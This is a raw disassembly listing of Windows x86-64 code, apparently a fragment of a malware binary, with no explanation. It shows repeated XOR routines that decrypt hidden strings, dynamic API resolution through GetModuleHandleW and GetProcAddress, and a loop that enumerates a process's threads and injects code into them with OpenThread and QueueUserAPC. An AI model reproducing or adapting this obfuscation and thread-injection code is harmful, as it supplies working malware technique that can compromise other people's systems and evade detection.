movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x210], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x214]
xorps xmm11, xmm1
movd dword [rbp + 0x214], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x218]
xorps xmm10, xmm1
movd dword [rbp + 0x218], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x21c]
xorps xmm13, xmm1
movd dword [rbp + 0x21c], xmm13
mov ebx, 0x10
mov r13, qword [rsp + 0x58]
mov eax, ebx
lea r8, [rbp + 0x210]
add r8, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x13
jl 0x140020db0
lea rcx, [rbp + 0x210]
call fcn.1400113a0
jmp 0x1400220c2
movups xmm0, xmmword [str.eA_ASgJVYONsZ_.0:d]
movups xmmword [rbp + 0x820], xmm0
movsd xmm0, qword [0x140089e28]
movsd qword [rbp + 0x830], xmm0
mov eax, dword [0x140089e30]
mov dword [rbp + 0x838], eax
movzx eax, byte [0x140089e34]
mov byte [rbp + 0x83c], al
mov r8d, ebx
cmp r12d, 2
jl 0x140020f4a
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x820]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x140020e50
cmp r8d, 0x1d
jge 0x140020f93
movsxd rax, r8d
lea r9, [rbp + 0x820]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140020f60
lea rdx, [rbp + 0x820]
lea rcx, [rbp + 0xea0]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xea0]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xea0]
call fcn.140043300
movups xmm5, xmmword [str.YVF_S__v_v]
movups xmmword [rbp + 0x408], xmm5
movq xmm6, qword [0x14008ada0]
movq qword [rbp + 0x418], xmm6
movzx eax, word [0x14008ada8]
mov word [rbp + 0x420], ax
mov r8d, ebx
mov esi, reloc.WS2_32.dll_inet_ntoa
cmp r12d, 2
jl 0x140021160
movdqa xmm4, xmmword [0x14008c3c0]
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm1, xmm5
xorps xmm3, xmm1
movq qword [rbp + 0x408], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x410]
xorps xmm3, xmm0
movq qword [rbp + 0x410], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, xmm6
xorps xmm3, xmm0
movq qword [rbp + 0x418], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x408]
lea r9, [r9 + rax*2]
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140021170
lea rcx, [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r10, rax
test rax, rax
jne 0x1400213fe
movups xmm2, xmmword [str.uV_xYSMU_s_SZS_Aq_teb_YVMH]
movups xmmword [rbp + 0x230], xmm2
cmp r12d, 2
jl 0x1400213ae
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x230], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x234]
xorps xmm11, xmm1
movd dword [rbp + 0x234], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x238]
xorps xmm10, xmm1
movd dword [rbp + 0x238], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x23c]
xorps xmm13, xmm1
movd dword [rbp + 0x23c], xmm13
lea rcx, [rbp + 0x230]
call fcn.1400113a0
jmp 0x1400220c2
lea r8, [rbp + 0x230]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x10
jl 0x1400213c0
lea rcx, [rbp + 0x230]
call fcn.1400113a0
jmp 0x1400220c2
movsd xmm0, qword [str.UQzZK_IEj_]
movsd qword [rbp + 0xa8], xmm0
mov ecx, dword [0x14008b540]
mov dword [rbp + 0xb0], ecx
movzx eax, byte [0x14008b544]
mov byte [rbp + 0xb4], al
mov r8d, ebx
cmp r12d, 2
jl 0x140021585
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.UQzZK_IEj_]
xorps xmm1, xmm0
movd dword [rbp + 0xa8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xac]
xorps xmm2, xmm1
movd dword [rbp + 0xac], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0xb0], xmm2
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400215a0
lea rdx, [rbp + 0xa8]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x1400217df
movsd xmm0, qword [str.uV_eDX_x_NXML_]
movsd qword [rbp + 0x148], xmm0
mov ecx, dword [0x14008b7e8]
mov dword [rbp + 0x150], ecx
movzx eax, word [0x14008b7ec]
mov word [rbp + 0x154], ax
movzx eax, byte [0x14008b7ee]
mov byte [rbp + 0x156], al
cmp r12d, 2
jl 0x140021788
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [str.uV_eDX_x_NXML_]
xorps xmm8, xmm0
movd dword [rbp + 0x148], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x14c]
xorps xmm11, xmm1
movd dword [rbp + 0x14c], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm1, ecx
xorps xmm10, xmm1
movd dword [rbp + 0x150], xmm10
mov ebx, esi
mov eax, ebx
lea r8, [rbp + 0x148]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xf
jl 0x1400217a0
lea rcx, [rbp + 0x148]
call fcn.1400113a0
jmp 0x1400220c2
movups xmm2, xmmword [0x14008a308]
movups xmmword [rbp + 0x1b8], xmm2
movsd xmm0, qword [0x14008a318]
movsd qword [rbp + 0x1c8], xmm0
movzx eax, byte [0x14008a320]
mov byte [rbp + 0x1d0], al
mov r8d, ebx
cmp r12d, 2
jl 0x140021ac0
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1b8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1bc]
xorps xmm2, xmm1
movd dword [rbp + 0x1bc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c0]
xorps xmm2, xmm1
movd dword [rbp + 0x1c0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c4]
xorps xmm2, xmm1
movd dword [rbp + 0x1c4], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c8]
xorps xmm2, xmm1
movd dword [rbp + 0x1c8], xmm2
movdqa xmm6, xmmword [0x14008c390]
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1cc]
xorps xmm2, xmm1
movd dword [rbp + 0x1cc], xmm2
mov r8d, 0x18
jmp 0x140021ac8
movdqa xmm6, xmmword [0x14008c390]
mov eax, r8d
lea r9, [rbp + 0x1b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140021ae0
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0xec0]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xec0]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xec0]
call fcn.140043300
mov eax, dword [0x14009ba08]
cmp eax, 1
jne 0x140022129
movups xmm0, xmmword [0x14008a9e8]
movups xmmword [rbp + 0xa90], xmm0
movups xmm1, xmmword [0x14008a9f8]
movups xmmword [rbp + 0xaa0], xmm1
movups xmm0, xmmword [0x14008aa08]
movups xmmword [rbp + 0xab0], xmm0
mov eax, dword [0x14008aa18]
mov dword [rbp + 0xac0], eax
movzx eax, byte [0x14008aa1c]
mov byte [rbp + 0xac4], al
mov r8d, ebx
cmp r12d, 2
jl 0x140021cca
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xa90]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea edx, [rdx + 8]
cmp r8d, 0x30
jl 0x140021bd0
cmp r8d, 0x35
jge 0x140021d13
movsxd rax, r8d
lea r9, [rbp + 0xa90]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140021ce0
lea rdx, [rbp + 0xa90]
lea rcx, [rbp + 0xee0]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xee0]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xee0]
call fcn.140043300
mov edi, dword [rsp + 0x48]
mov edx, edi
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140021dfd
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1304], xmm0
mov qword [rbp + 0x1314], rbx
mov dword [rbp + 0x1300], 0x1c
lea rdx, [rbp + 0x1300]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x140021df4
mov r14, qword [rsp + 0x58]
nop word [rax + rax]
cmp dword [rbp + 0x130c], edi
jne 0x140021de0
mov r8d, dword [rbp + 0x1308]
xor edx, edx
mov ecx, 0x12
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x140021ddc
mov r8, r13
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rsp + 0x48]
lea rdx, [rbp + 0x1300]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140021da0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [0x14008ad8c]
mov word [rbp + 4], ax
movzx eax, byte [0x14008ad8e]
mov edx, dword [0x14008ad88]
movups xmm2, xmmword [0x14008ad78]
mov byte [rbp + 6], al
mov dword [rbp], edx
movups xmmword [rbp - 0x10], xmm2
cmp r12d, 2
jl 0x14002204e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp - 0x10], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp - 0xc]
xorps xmm11, xmm1
movd dword [rbp - 0xc], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp - 8]
xorps xmm10, xmm1
movd dword [rbp - 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp - 4]
xorps xmm13, xmm1
movd dword [rbp - 4], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
